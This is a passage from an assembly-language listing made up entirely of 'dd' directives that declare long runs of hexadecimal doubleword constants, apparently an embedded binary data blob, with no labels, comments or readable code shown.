0EFDACA28h, 0B0F1C24Fh dd 9249788Ch, 0E6B50F00h, 0E8C18F78h, 0C158662Fh, 81CCD114h dd 78EE1A21h, 2C208EC8h, 7C54FB1Eh, 13D8A882h, 5ADD6090h dd 0D4206828h, 0C89EB412h, 85339840h, 68A4B63Bh, 8F810D6h dd 682447FFh, 636D8108h, 348027FAh, 44868707h, 0A200FCA8h dd 0B0321026h, 0EE612780h, 84AF9083h, 3D1A007Ch, 0D5ECC429h dd 2352C303h, 30B3E234h, 8D7CDB91h, 37575418h, 609E8AB0h dd 0FA9BC9CCh, 6312893Ch, 460E4FFh, 226E58h, 5CBAA6CAh dd 0E6474F02h, 4A9C40EBh, 9FE996CDh, 260C9B28h, 1207187Eh dd 63F0D4C9h, 0F6F00448h, 0CC99F3E9h, 600BA5C2h, 0DAD4B8h dd 44E87127h, 0D617B322h, 0D000A9EEh, 7BA39391h, 0EEBEAE0h dd 7A67C149h, 8084D18Ah, 1B696225h, 6A00C3AAh, 0EB648278h dd 0CEFF540h, 0A9FED532h, 3D0AFFA8h, 80F6E06Dh, 8B52E9C0h dd 1ADC9238h, 18A20DCEh, 19EC0C61h, 23FA7EC0h, 5A1113E9h dd 7E07910Eh, 398497C0h, 886EE026h, 3AE545C8h, 3CFEA003h dd 0E06AAA79h, 84C214D8h, 481EE820h, 0A4C0F883h, 2E51801Fh dd 0E415020Fh, 0B246E164h, 0C6E48210h, 1D64934Eh, 6789B06Ah dd 931D7180h, 2E4073A0h, 0DD4144BEh, 26030F6Bh, 0E70AE3BFh dd 23F5C0F4h, 55072ED1h, 65B2106Ch, 0B52F140h, 424B195h dd 80998C13h, 0C1B8B5D8h, 8A5B233h, 0F52105E5h, 0C0109994h dd 2236FDC9h, 7F209090h, 0C0E3FC3Eh, 2C1C1929h, 0FD38F7A3h dd 37D101EEh, 0D96D0433h, 4B27CC4h, 459EC912h, 0F42C9873h dd 18EDC8A1h, 23FBFCFDh, 56111BE9h, 3C9224h, 28D7B291h dd 24B1680Eh, 0E35208h, 1C823DF8h, 9E019FEDh, 96354F62h dd 0F824D508h, 3228302Ch, 189D23C0h, 0BE361A06h, 9320AEB8h dd 0CCBA0614h, 0C4047964h, 7C8C8E57h, 416A90C1h, 0CEFD6510h dd 1531E21Ch, 7BD0803Eh, 0F57A7230h, 0E00D07DCh, 3CB2474Eh dd 0ED1048A8h, 8442B0DAh, 54B84CD4h, 90733F8Ch, 0F34D1C0Eh dd 349EDBA1h, 0B1C893A7h, 42520000h, 74891487h, 9A3D02F5h dd 50F4E0C6h, 404184B2h, 0FC011880h, 433472FFh, 0FAB22285h dd 8E2600A5h, 1EEBE066h, 0BE24DF2Eh, 0C552B404h, 604EC4E4h dd 812A8Eh, 6602C4ABh, 0F6F799FFh, 54BE3409h, 9BD890BAh dd 3C9235h, 0E406513Ch, 4750299Ah, 0A856A628h, 5C245706h dd 5E027DFh, 0F6D4D112h, 0EDBC00B6h, 68DAAB5Eh, 210C3B48h dd 369C08D9h, 0F9D5EE00h, 12FAD79Bh, 607351C4h, 0D638D2ACh dd 1685D69h, 0FC890900h, 401B8C20h, 0C61A3613h, 1058CFF0h dd 91EE0244h, 183F79C0h, 0DD500BCBh, 94A1D0F2h, 7484964Fh dd 5F1F3418h, 7181B4D4h, 0B6E18121h, 49158436h, 0F43DECDBh dd 0D465FA9Fh, 0EF8168BAh, 634AFEBDh, 78E801BCh, 14184F8Dh dd 1C88C90Ch, 777812F0h, 0A961185Dh, 271F4F51h, 0A080BE93h dd 0F42C8C49h, 2A90A0F7h, 2008B883h, 2816AE9Ah, 8864721Eh dd 0ED295480h, 0EFDCE489h, 539FCC20h, 0D02264C4h, 90219300h dd 0B3041CBCh, 3CDF4966h, 9B42E983h, 23889195h, 0F2A472C8h dd 79D03354h, 0E89834EDh, 15C4C640h, 0E8DA681Eh, 0A09D009Ch dd 0CAEBD055h, 614EF0Bh, 0A46484DDh, 9378EA60h, 0A8084F2Bh dd 1E10CB11h, 986239F2h, 0DD895F6Ah, 5D3D0065h, 450BACF9h dd 927E79FDh, 898DDF14h, 1FC4C08Ch, 99DCC75Ch, 968A45Ch dd 981BB4ACh, 733B40A4h, 2C872CF7h, 8583578h, 9B00CAC4h dd 98E45625h, 5876E7EFh, 0CBBA190Bh, 52DFF490h, 683B5B30h dd 93ED415h, 0BBC54467h, 34983C46h, 8D070C46h, 68CAEF99h dd 0E4037C4h, 7BFC9996h, 0C007DFCh, 4897D22Fh, 265C61D3h dd 83D84DCFh, 0D69926B3h, 537CC1FDh, 80F0622Ch, 3FD91D1h dd 0B048A6h, 945C6312h, 64E8044Ch, 5EDF04C9h, 0A700C4A3h dd 0BEB8651h, 78581312h, 0E47017E0h, 441AC29h, 14664393h dd 8223A048h, 0FD27FB00h, 86870F34h, 0A7F4A545h, 47403E26h dd 1D0C2802h, 0B0A06A70h, 6E32AA54h, 5FB5B00h, 0B721C412h dd 0FA9202D1h, 0F7BC0C47h, 601F9841h, 3C985E44h, 84B1321h dd 0D203BD0Ch, 0EF44DF22h, 0E64C22CFh, 284A961h, 66A6620h dd 0C060C85Ah, 0B293D29h, 80809E70h, 9E6DEA22h, 0D21C6CD6h dd 0D1C01C31h, 9A090574h, 94F8CF04h, 27FDC2D0h, 66AF8903h dd 0F4A445F8h, 270026A2h, 30F993F5h, 0CBA38Dh, 9767B57h dd 0C1284702h, 0C201248h, 39AC7051h, 0BAD00035h, 5C5B5BFh dd 1701AEF7h, 0D13B72F6h, 88A9B8ADh, 1856D1F4h, 266213CBh dd 53501D74h, 838827ABh, 0CCA586CCh, 550239A4h, 65B1908Dh dd 8985237h, 0A466ECD0h, 921F4026h, 65C80222h, 0B76496DDh dd 0FB80C880h, 6D249A44h, 0F00928FFh, 644847D2h, 81E06759h dd 0F626780h, 5C7250DDh, 0B86012E9h, 9CA9C770h, 601E6016h dd 11D0ED1Eh, 863E3746h, 7C18B4A0h, 0F1346C23h, 2C17E26Ch dd 0A7467444h, 0D464AA00h, 95E3C9FDh, 41DC4830h, 241D6E3Eh dd 188CD59Eh, 6FB2993Ch, 3041C260h, 1699EF9h, 51B1FEACh dd 525AFA37h, 8CC711ECh, 5363C044h, 0E2D09DC0h, 0CEBA2513h dd 2AE99C20h, 714F4BE0h, 4AEEAB08h, 0C0C2C834h, 0F1ABD471h dd 6CF6B00h, 9197C9A5h, 0FDD70B8Bh, 0F0B08D36h, 22069CBAh dd 6F774754h, 169A7EE0h, 1FD8A6EFh, 48B38710h, 0DEA38367h dd 2949E8B9h, 52C00090h, 0A1A4CE3Fh, 4FA0A0A2h, 603A3047h dd 0EEECD548h, 2BD29D1Dh, 0B4233193h, 7AEE2C6h, 5C4AC09Ah dd 21E02ADDh, 6B584B6Ah, 80850B0Bh, 3638AF10h, 9C589E59h dd 2254D01Ah, 97D800ACh, 0FD6CE3B8h, 0E4006E6Dh, 83D93FFEh dd 1C5AA549h, 0A866DB3Dh, 0B28744B8h, 98B43AE8h, 0DB9CF340h dd 90684D96h, 479DB101h, 2B7E6F7Ah, 0DC128053h, 89794801h dd 68210628h, 0D610A9E5h, 29D6D940h, 0B0CAC80Fh, 0A9AE7018h dd 800071CFh, 9BD2BDACh, 0AD13EEh, 640E42AAh, 0F2F673ABh dd 20EEB490h, 274C4B40h, 54A39FE5h, 61724F40h, 34BCF313h dd 0AFEE4404h, 0A5FD5A0Fh, 63337001h, 41286259h, 479EE4A8h dd 21873636h, 0E9D33A49h, 4218EB96h, 0C908B610h, 3926105Ah dd 46744080h, 193B0058h, 0A4AFF653h, 0CCB0BCh, 821DC618h dd 0CFBAD927h, 3C01C24Ah, 5E3F5194h, 0B0FC8C34h, 0CE81050Dh dd 0C8A1B554h, 0D100334Ch, 75ECE88Eh, 14963DD4h, 0BCA2AE82h dd 58B94E88h, 1FE012F0h, 523AC8Ah, 0E4999A01h, 3E18A5CAh dd 182F388h, 0C4E46B9Ah, 0D7EB7651h, 6358A180h, 5C842605h dd 5CB042F5h, 71744A52h, 0D49A298h, 109978F8h, 0C813F84Fh dd 0EC1880CEh, 947A6478h, 1EB8F548h, 73C17443h, 0D8CAD937h dd 6864CC62h, 68C786CCh, 3D4AFB05h, 0DCB20A26h, 0F403FE01h dd 0F8E9C81Fh, 9605C61Eh dd 408A48A7h, 3401B006h, 56721C60h, 0DE0D099Dh, 90E51C04h dd 0D7049600h, 0FC298281h, 0FA04BFB8h, 6CCA9E4Ah, 27D088h dd 4C082A13h, 0C01D8FEh, 0FD834CDEh, 90B64471h, 0D8ED2E0Fh dd 45A3901Ch, 0BA268090h, 7F4090C7h, 81267B54h, 808428EDh dd 6059DB6h, 1C531364h, 9EFB0A15h, 0D82B09C8h, 57501481h dd 882CE6h, 521CB1A3h, 0D38C9Bh, 0F83AC4BAh, 0B7C8BE8Ah dd 2FD99480h, 240A7E48h, 0EB420674h, 3E097815h, 45EF5E8Fh dd 60CCC4E0h, 98357CEAh, 68C1605Dh, 0F16F2E63h, 3DED5215h dd 39171294h, 740EB813h, 0D23E90CAh, 7C9F4786h, 320DC07Eh dd 903C774Ch, 27259830h, 2438A2ABh, 513EBF0h, 0F465744Ch dd 344384CDh, 5420CE16h, 68AB881h, 2B52DF23h, 0C6186135h dd 6D30D4F0h, 44D14D85h, 81263E10h, 9E8960DFh, 5CD84446h dd 0E610388Bh, 36FB09B4h, 734C424h, 30BE5312h, 6D6A92C1h dd 0F41FC4D8h, 0B4173549h, 974C0050h, 0B123242Fh, 0B5B98A02h dd 0F240F266h, 584CA487h, 9E80F46Dh, 68C33BA6h, 75D25E05h dd 0C410FAEAh, 8CB3B83Ch, 83CF77Bh, 0E4A792E0h, 0CF4A00D1h dd 6D23C910h, 701E5E00h, 0F1D6C0D2h, 0DDE8304Ch, 0E22F5021h dd 0FC199496h, 14218588h, 30A53C42h, 8C1778EBh, 438104Fh dd 78F3001Bh, 43B98969h, 0FE2E2E5Dh, 300A346Ah, 49084C12h dd 43949ECDh, 50DFFFD3h, 700026A3h, 0C404BFA1h, 545ADD4Fh dd 2C3DC874h, 8F4CA85h, 0A30B4CFAh, 0C4D445BFh, 0A10A6058h dd 62B702BBh, 0E9951286h, 2F5E2C48h, 48AEE300h, 215D130h dd 0EB44000Eh, 1694EAECh, 40FEF2BAh, 0D46BA624h, 8C373392h dd 0CCA4B2F5h, 519604F8h, 0C359976Ah, 0B39163DCh, 588C6332h dd 3DE7017Ch, 636BC17Bh, 0B913980h, 4E6E6F57h, 0F7674000h dd 7A190D80h, 0A5AD1E77h, 17E993DFh, 27284176h, 0F8569E48h dd 7020BE36h, 659907B7h, 0CB44B36Ch, 0FD05840Eh, 0FBE80F6Eh dd 340FF45h, 4F97D3B4h, 5255BE89h, 0FCE0B1FCh, 0D644E94Ch dd 80D8905Dh, 9143B391h, 210A02Ch, 26749167h, 79E38D2Eh dd 777DACD8h, 9B5B8603h, 15E63FFBh, 0E88B3679h, 1398269Eh dd 58FC40C3h, 7253D7A3h, 1098D148h, 2700A98Ah, 6639B826h dd 0C24DCEB9h, 9493050h, 1C40E852h, 0C0D9EA27h, 816D792h dd 1504C3ABh, 0A8019E38h, 37F810C0h, 7C861D8Ah, 0F3D68426h dd 1B4CC1A3h, 0B820A682h, 2092024h, 834C86Fh, 0E762014Ah dd 0C495B5E3h, 6DC89239h, 1E075CB4h, 4F978636h, 0D70B5A76h dd 0E5BE7F00h, 8731DF6Eh, 0B3FAC8EBh, 9648D200h, 0A4B47050h dd 3F4FB106h, 0C1071FEh, 0BC7AECCAh, 295F828h, 0C0D29B54h dd 0FC3F5224h, 0D429C27Ch, 0F8C4C346h, 0C510B318h, 80ADEDC8h dd 0EC4F4EE0h, 3B23742Fh, 0A7CD800h, 0BC6B4B12h, 704A8024h dd 0A7630D40h, 57EBAA00h, 73B6DDECh, 0F9641E7Ch, 46A57E1h dd 0DDC1EE34h, 0D256F528h, 9E2EA052h, 467C54D8h, 88D907BFh dd 0E120ADFEh, 30DD5039h, 0DA50B7AAh, 5F4D3E48h, 0C5607608h dd 6FB6CB39h, 20ED5CB3h, 0C9B5AE03h, 0A7C04243h, 0EE4B9473h dd 70135895h, 48E4C8h, 722EFD5Ah, 0BE04B7DFh, 0C84A177Ch dd 5988348Bh, 0F72F5AC0h, 53D90450h, 0AC3A3752h, 23604CA8h dd 97B21E87h, 8209539h, 2787D7C0h, 455FD2EFh, 0C0883FC7h dd 1FB85B9Ch, 0A6D040h, 0C00E7958h, 4CD0E655h, 0FEE9DC11h dd 14A0FD30h, 0E03F1745h, 9A5A8E13h, 0FE6F88CCh, 0EFF26F42h dd 0A8419078h, 207460C2h, 0C0D0E627h, 0E5747CD2h, 20D2DDCAh dd 8B3DBCA3h, 39A21C9Fh, 0D257669Eh, 7C4CE75Dh, 0DA606C62h dd 0D80209DEh, 88E87913h, 2CF75ADCh, 0EBED1398h, 0F12140A1h dd 0A18D402h, 0CEB50793h, 0A1B02582h, 332980D4h, 4E6588CAh dd 840AF12h, 0E642C35Eh, 0CC32257Fh, 0BE108AB0h, 5F00C0D0h dd 0DF511095h, 0CE1C3F7Fh, 0C7EA271h, 606D6682h, 1649CB7h dd 691B3EFBh, 9482E6ECh, 6630D562h, 0F8E4A37h, 0B9382EE0h dd 0C7015FE7h, 479E6908h, 0B4045132h, 0CD172A54h, 0C041C77Ah dd 4A9F743Ch, 40272D0h, 7B2C4F58h, 0C614E47Eh, 0FBD7CE89h dd 0E9C009D8h, 5C78EF4Ah, 0A01810A1h, 4134DCC1h, 70826927h dd 0C4993108h, 9D46CAEBh, 0F200E422h, 0FBF39A81h, 3A36CA93h dd 0ABA6495Ah, 566A4254h, 622240D2h, 0CEBA1AD5h, 1061F946h dd 82A0458Ah, 646954D6h, 1CE518A3h, 2E4F9A78h, 0ED15708Ch dd 4EA787Fh, 176BF1Eh, 20819240h, 7E186CDBh, 0C8DA2CD5h dd 0A8C02C82h, 8D123C68h, 0CCE44C94h, 41825583h, 6C8B204Eh dd 6EC0B0C8h, 72DCD0BCh, 0B434923Eh, 0E2F1441Ch, 3040E258h dd 7300EF9Fh, 12047E03h, 5496B6A0h, 4D1E894h, 0FCF44374h dd 86E882CDh, 1795A070h, 805491B0h, 17CE321Eh, 22DF0B5Dh dd 84CA50B0h, 0FC182C0Ch, 30BE1544h, 0D288A49Ch, 0E0A0DA66h dd 0FB80D6ABh, 0C4830B47h, 3040992Bh, 1CA23F08h, 0C4809856h dd 0E9E55525h, 304A245Ah, 9E893DF8h, 0CC5AAF38h, 18310331h dd 61C58237h, 41F3EC30h, 43DC20B0h, 4ABA4040h, 71DCCCD1h dd 4EC0B90Fh, 0C087EA47h, 1218F37Ch, 4B08A600h, 0AC3AB322h dd 406A4A84h, 40373228h, 0E50076CAh, 56C78DF5h, 28988543h dd 2088DFBBh, 702DD534h, 0FD60A0B4h, 59994A9h, 0EDC26F75h dd 2304F46Ah, 0F1084605h, 9E03DFD3h, 1DBE5363h, 4A154F39h dd 4F944B2Ch, 0E4D940A4h, 88B86D3Ch, 27A55620h, 1CC639D6h dd 0C6358F04h, 78E9CEB4h, 4B306E08h, 6E6C9788h, 34022800h dd 448686F7h, 0A839FEA9h, 30701E26h, 0AF27CD86h, 228890E2h dd 0C898B0E3h, 0A0711A20h, 88BBEA88h, 7E719D57h, 11181D95h dd 0D48182E5h, 762C602Fh, 7C188289h, 5C8A3B42h, 0D26640A4h dd 0FA00C5FFh, 7B0A9E45h, 11499FDh, 9CE4AF1h, 602C59F3h dd 0D8A99108h, 4C2E3BEFh, 0CF00BF23h, 456E6815h, 0BCA050E4h dd 0D08CA190h, 0B844BD14h, 30EB1EC4h, 52E98FD3h, 0ED288337h dd 57F9D1C3h, 545861A9h, 0E860E80Ch, 0EB008CA9h, 0FD56B62Ah dd 94E99BCh, 229CB96Fh, 64726089h, 9AF9D500h, 4ADEA506h dd 88346583h, 959C08E7h, 0A4F5282h, 7CB8C487h, 0F1E89943h dd 0C3119C9h, 3542442h, 7AC0CBA3h, 254DF55Ch, 3A5B7334h dd 73F8A020h, 0F4CA08A8h, 6021B7AAh, 3BC46027h, 0C07020CEh dd 465E20BEh, 0A5920F4Eh, 17B4C0B5h, 0A0EA0503h, 9E15ABCCh dd 0B28189C8h, 0C34A98A1h, 0CAED003Fh, 9871F1D4h, 3000826h dd 0A02C3B88h, 2A265846h, 0E063708Ah, 52CAD88Ch, 74DF4979h dd 474B43C4h, 8FE268A3h, 99C8993Ah, 0F6915810h, 0BAB18910h dd 0A9C042Ah, 6A863750h, 43FB89ACh, 0A47EACB2h, 58465Eh dd 0A3BB179Ch, 959A46CCh, 396F1C80h, 0A09D4A7Fh, 0AD3B70F0h dd 3EB307EBh, 30603D2Fh, 3F502A36h, 25800A27h, 0DC306594h dd 2A4C88A9h, 4470123Fh, 0B8556D9Dh, 7C86C8A4h, 3D4A5Ch dd 0BA1D158Dh, 5A3B3714h, 9994909Eh, 3240C1ECh, 0A0515494h dd 696011Bh, 2736B1FAh, 0F4CFC9CBh, 7D4CA547h, 3CA82454h dd 83018505h, 61969C04h, 0D8E97089h, 0A64C0E00h, 0C0049824h dd 2EA44674h, 38071345h, 0DFA1DABEh, 0F2DB895Fh, 17F064C8h dd 0DC11CE8Ah, 280B6D18h, 8BB4ECB3h, 5BAC119Ch, 0FA546913h dd 2AB59440h, 7E08901Ch, 0C2260EA4h, 3E096D40h, 0B25F2C96h dd 20377C22h, 0AB56D4D0h, 754F5A80h, 4F34947Ah, 0BEB404D1h dd 9702B990h, 9087E95Ch dd 0FB03D868h, 0ED495D36h, 475098D1h, 35BC70CEh, 4B15E6Ah dd 8851EF98h, 828813A4h, 5A4814A8h, 0D84BC86h, 0EB7009D9h dd 2BACA018h, 27730062h, 607D9776h, 3E01016Eh, 2F5081BFh dd 48645ECAh, 0D99E28D4h, 7F563E68h, 38211042h, 43B09524h dd 0D7882F32h, 0A900585Fh, 7720B27Dh, 62BE6975h, 0B3ADA8FFh dd 0E4646509h, 39286056h, 0EE4815B0h, 8A73885Dh, 4D445047h dd 0B4943A60h, 27D25100h, 23569F35h, 0EE472454h, 0E44C8B68h dd 38103C79h, 4B1D380h, 442E96CEh, 5042C0D4h, 18610926h dd 445100D7h, 6C3B4DF3h, 0D9E34C0Ch, 44BA4F51h, 0BDCEE20h dd 428F3D60h, 0CBE43CE5h, 0DCB5FF60h, 0B563D8A2h, 73355115h dd 4F28E0B4h, 81960DFh, 4B4C5E53h, 8D29A300h, 3AC9BD7Dh dd 7B8B03E8h, 10E14E68h, 574290AFh, 670E204Ch, 8060BEDBh dd 0B24B48BAh, 0D01C5875h, 7AC39D06h, 0D4075065h, 0AF5854E3h dd 9BDEE180h, 48B80047h, 243311A6h, 8830FBCAh, 0F85E2053h dd 2B8E143Dh, 86E120C4h, 0FE61844h, 19456C66h, 0CBCDB4C0h dd 0D5012F28h, 1D5EC88Bh, 0D98061B3h, 28D337Eh, 7CA431E7h dd 0A15744h, 0BA3F8D2Bh, 0DF65AB60h, 79CB3707h, 0E84039C9h dd 69831Ch, 0E74CCD4Eh, 0DBDA6D2Bh, 805E4B38h, 5F37DE51h dd 3EBA4C1h, 457719D8h, 0E3B01C57h, 0AE392EEAh, 0D0CF8665h dd 774880F2h, 34D6148Eh, 0CA00A07Fh, 0D08A6222h, 0B8A0828Bh dd 110046A2h, 80E80143h, 0D85CDBE0h, 629F6018h, 7B81C4A0h dd 0CEB5E914h, 789CCC2Ch, 113443AFh, 0DC408294h, 378942A8h dd 81742066h, 10584906h, 8EC344h, 8BDFC6E1h, 3DFB48B7h dd 6078E958h, 4E8FCD80h, 50C8285Fh, 2D4C0084h, 97C3BBDFh dd 7B301187h, 23C0A93Fh, 0DFC0C76Ch, 0CCE2ECCh, 39A627C6h dd 80EBD20Ah, 0DB16F448h, 8A6D1E0Eh, 4D8AB018h, 4030CAE8h dd 6F4AD925h, 21FB584Ch, 0E150B034h, 0C019FC08h, 0E7068D2Fh dd 5A225146h, 8D27A500h, 5F7329D0h, 0F30B03EDh, 64477B9Eh dd 785E2003h, 88517AE9h, 0CDDC7FDh, 0AEB45453h, 0BE16DF41h dd 0F114F916h, 0B0152B04h, 0C4214A8h, 3963D218h, 0B9145F95h dd 10B097A4h, 0D4058A68h, 7526CDBh, 0C6BF8384h, 0B4364853h dd 46E03976h, 8D310217h, 3141E708h, 1E82654h, 0EA27123Ch dd 70910ED1h, 6AB41846h, 58B0E029h, 25029F3Ah, 0E866A442h dd 0D8E7B140h, 5681D49h, 0C68E4AF6h, 2C408C5Ch, 0D3362103h dd 5A82190Fh, 805709CBh, 21FB0C21h, 22D2509h, 0E8CCA7E9h dd 0E48F833Bh, 0E9C75FE7h, 81310027h, 804A7427h, 9B9D6B11h dd 0CBAD420h, 0A2CC487Ah, 21C04108h, 39B950Eh, 68F00033h dd 37D2A678h, 4731A5D5h, 0A924A166h, 249258E8h, 22C6F0Fh dd 0B77984BEh, 851CC91h, 0C52D0CDEh, 0D3103C52h, 8BEBD018h dd 0D81D47A8h, 0D213CE30h, 0C6381E0Fh, 0A5DDA315h, 5672D19Fh dd 44CC6430h, 534CF75Ch, 54371198h, 2E981F39h, 9816401Dh dd 0B7344E50h, 9EB6A40h, 44B47BF0h, 997A9800h, 0E824CD36h dd 5E817C73h, 91FB594Ah, 0A011204Fh, 7ECB87ADh, 66310029h dd 0C793E3C4h, 0CFD52B80h, 0A414665h, 11EC5E84h, 2104808Fh dd 8C17D335h, 0B6044h, 69AA21FCh, 90F6E148h, 922ADA05h dd 0D0405673h, 79283480h, 8C1A0012h, 0B0E8E5Dh, 5C041701h dd 0AFE8D2B3h, 68060495h, 7708E7B7h, 63E334D3h, 0F4348718h dd 90A0196Ah, 21080118h, 0C4FFD334h, 0F90E4058h, 24848321h dd 11341ED0h, 0E0560C3Ch, 384958h, 0C00399CBh, 8EC3D82Ch dd 7B7878D4h, 9EA7240h, 8094CFE0h, 0D6E55000h, 0C8908864h dd 4C4410C0h, 0C05B46FEh, 8A217E51h, 0FF03E59Dh, 7DD626Eh dd 74A36Fh, 8A191721h, 0C528707Dh, 8D39EF05h, 4820EC56h dd 0D03AFE7Eh, 9532D8F0h, 4616568h, 0F93C4869h, 8A26028Ch dd 6F17E598h, 1C107619h, 67048A1Eh, 0ADFA7CD1h, 63D06081h dd 3C48EC36h, 2E40943Dh, 80E8734Ch, 5F4B3F8h, 5DC80C90h dd 91195174h, 9FF5E500h, 0FE03C014h, 3A9C7985h, 0A8E660B6h dd 330A3006h, 0F4597BE8h, 577318BCh, 0F8FEEF41h, 0A9DF03E7h dd 49A27BF4h, 3D3361D8h, 9CC5D48h, 2452E0E9h, 1CDCCD00h dd 231743C8h, 9B99012Bh, 189AD424h, 910A883Fh, 0B30D9B0Bh dd 0B400104Eh, 9C5C0114h, 1D391FF1h, 0C4B8CD90h, 3706E050h dd 4066E971h, 0AC215888h, 4C308A10h, 47A114F8h, 101094F0h dd 286468A4h, 553E4164h, 8456CBC8h, 4BEA20D8h, 0DEFAEB03h dd 0A2FB73CCh, 0F36CE0A8h, 1DCB2A7h, 2F31C32Ch, 20013582h dd 4C928D88h, 0B0E83B39h, 9DE35070h, 55D03350h, 49CA6DD1h dd 0D8338448h, 647CFB26h, 8542194h, 2C832CCEh, 71B318B0h dd 1B3FC138h, 81B689E8h, 0DD0C0289h, 6C54E0AFh, 15CC8057h dd 0BB9E0700h, 568BD9C6h, 597C6AE3h, 146384Ch, 0E59B8A1Fh dd 0B6EEFh, 0F58A1719h, 3B8F5687h, 3A02C926h, 4536E981h dd 6245FC9Eh, 7891C419h, 0C4238FFCh, 0FCC4E597h, 8D723C48h dd 0C8981B1Dh, 0FB1EDB7Fh, 5B81B492h, 66C8BEE5h, 8870B864h dd 0E10BA3DFh, 84511859h, 1A326734h, 118D3030h, 8849E705h dd 0C2A49E56h, 0E4A01A8Dh, 9024B28Bh, 0D11C0042h, 54B6CF31h dd 0AE6BC7Dh, 61850FF4h, 0A9111FCh, 0E873C833h, 21C052BBh dd 7184A183h, 1101875h, 0D81AA7D6h, 0E479CC65h, 0E4098DDDh dd 330A1820h, 0F0CEA910h, 244464D2h, 8E3455C5h, 0A3E07E2Ah dd 86F0893Eh, 9C7B9B24h, 0E06BA63Ah, 46CF3A42h, 0EB72092Ch dd 388A4B38h, 198D1830h, 6CA115D2h, 69C80F7Ah, 0D4A9C7C0h dd 98DB54C0h, 0A6092A3Dh, 0FAC607A4h, 9212B4D5h, 7C6B7CD3h dd 1FB6823h, 0E5968A24h, 88731807h, 8A001C1Eh, 0B7BFC47Ah dd 48D06A09h, 848AC8CFh, 4417A5FCh, 3B805591h, 0D1571307h dd 0C10F4602h, 81637E38h, 9AE987A4h, 49F48C34h, 0B41888CAh dd 0CEDB4166h, 0A5C78802h, 0E04680F9h, 2549F5BCh, 9829DD6Dh dd 5813091h, 30547C0Eh, 0A0513334h, 48C1CA0h, 0E7038D36h dd 205B6219h, 308D2E9Eh, 72DF003h, 8796F6A7h, 5CC4DBF1h dd 0F5AB7980h, 88B2808Ch, 0E1494A0h, 2EE94800h, 36F8333Dh dd 14174827h, 48AF910h, 57B4F3D4h, 8F5D8021h, 1436CAA8h dd 59C810B4h, 20DC6D13h, 0B3D8D57Ch, 903D7840h, 455D2628h dd 881E8928h, 0C760E004h, 0A3627428h, 303EB240h, 0AE3F08DDh dd 0ED8D8E0Ch, 77CF61DCh, 5030193Ch, 2282C92h, 0EC9180ECh dd 0F47B810Dh, 7824794Ch, 4B256F04h, 28906546h, 3F5F92C7h dd 0DA878D67h, 53D2F0B9h, 0C80C750Bh, 0A89BCF98h, 977B8C2Dh dd 0AAD42211h, 0C874788h, 1A409B8Fh, 90D26A9h, 286C8913h dd 12C2E48Ah, 8BB5037Eh, 0CAA048CBh, 0E0137491h, 0F88F075Fh dd 42FE8388h, 0D43AF483h, 0C2003D23h, 0C137FD18h, 0F0B860F7h dd 5A30FBD2h, 846568D7h, 65C834CAh, 0F74855C0h, 0BB910926h dd 9482CB14h, 0E51056D8h, 5FC42EDEh, 60FAC4E0h, 23998A25h dd 74111FE5h, 8A1D1B00h, 0DEED063Ch, 39603813h, 2D105C1Dh dd 49B37050h, 0C501C46Bh, 0BF2181ACh, 24A6F4E5h, 9F6DA300h dd 0E8D33E10h, 0CE89E5Fh, 0EF616347h, 0F7E21E00h, 0C6A75723h dd 3EB10118h, 0D0D32FBFh, 7C3C14h, 801940F8h, 50814661h dd 0CB984Ch, 2534939Ch, 95DDC40Fh, 141F0327h, 0E154580h dd 0CF6088B0h, 16372EE0h, 0E703A83Bh, 0CB50EBE4h, 71F10464h dd 8076B2E1h, 8FE0D354h dd 94498E4Fh, 515CC03Ch, 0C52C11E6h, 0C8D3050Ah, 14086107h dd 91A0B252h, 11210230h, 8807D333h, 0FA0D855Fh, 0B8948021h dd 89004651h, 6C45ACF6h, 24AAF556h, 8E445372h, 7CC33B8Ch dd 0E9C86939h, 0E11861FAh, 81B86E0Eh, 1DB4A4E0h, 71BF0987h dd 152CC019h, 0F8D5EC98h, 0E97840C7h, 755B1015h, 18D01A80h dd 0A5C80331h, 0C6978888h, 8256455Ch, 72FD2D91h, 64C8428Fh dd 7170FBF0h, 805D5041h, 0B6C900BEh, 0C6E1BF32h, 0C8988CE3h dd 8FDF2D3Eh, 5D8ECBF4h, 97F4048h, 4C655F31h, 7E606AE4h dd 3062CF85h, 0A069B349h, 0C3ECACECh, 0AA0D0058h, 0F6B1306h dd 0D205E621h, 97156D99h, 0B8A728D8h, 4B9D4494h, 5E3BD816h dd 0B384FC28h, 0CE5F05F8h, 7488424Dh, 48EA6CF3h, 0D39470B0h dd 28AC613h, 727F8804h, 0C8E25645h, 4F55C5BCh, 6C76F8ACh dd 3E0153E2h, 138C6298h, 0F830447Ch, 0E4825471h, 0BE4D44DEh dd 3347051Ah, 48A80249h, 0AC205B56h, 6746744Ch, 14AC777Fh dd 1C6C47B8h, 7F80773Ch, 101DD940h, 7C0095E7h, 1491A06Bh dd 2A4E647Ah, 7C052B4h, 37B601ADh, 0E1B0002Dh, 131EEC3Ch dd 20402BCBh, 28A26A4Dh, 2F8E4E8Ch, 732384h, 22779182h dd 0F428EBA6h, 9A45D46Eh, 3094C442h, 30132105h, 14381FD3h dd 21FD000Ah, 6474FA63h, 0F709FC50h, 0E808D73h, 0FCAA8A74h dd 0A8349F0Ah, 462C0BF6h, 0D8186AC4h, 6B00A9F8h, 0CAF21EC2h dd 1DEA5A31h, 1F2F29D1h, 64D21CE0h, 118960C8h, 20904817h dd 61BBE0A0h, 53405091h, 0C45D83E8h, 5295E919h, 789F5805h dd 22181866h, 0E9187653h, 0EA60442Ah, 362800CBh, 0C801B40Dh dd 2C98A680h, 72586722h, 0DF01F3E0h, 0C893C89Bh, 1338334Ch dd 2C218EBFh, 0B19349DBh, 2D5F1FD0h, 5711B09Dh, 0A613899Ch dd 0C4E23881h, 1303C07h, 0E0E7A4D5h, 689D4DBEh, 871697CFh dd 0AF08C164h, 4B188E6Fh, 0D8265FC0h, 44829941h, 0DBF133F1h dd 871806EFh, 0E15CE2E9h, 2CDE7B3Fh, 0DD03B8DCh, 82551178h dd 38044132h, 0D5D0FC65h, 0CAE90295h, 7D33E0D2h, 0D40230B2h dd 0AE205DE7h, 9E37E032h, 0CB5E9668h, 363DD88h, 6DD9F929h dd 21E8C994h, 4866D5DCh, 3C40E6E4h, 68B77D5h, 2FE8CCA3h dd 5E17206Bh, 0A4285349h, 30138343h, 0F441B4F6h, 5224C6E5h dd 0DB2834h, 65AD72CDh, 96029CCFh, 0B04EE8B9h, 0AEC42043h dd 0D78D6169h, 0FB0062C1h, 0E35E10E7h, 0D226CC02h, 79DC591Eh dd 0E0E81868h, 78A0B0B9h, 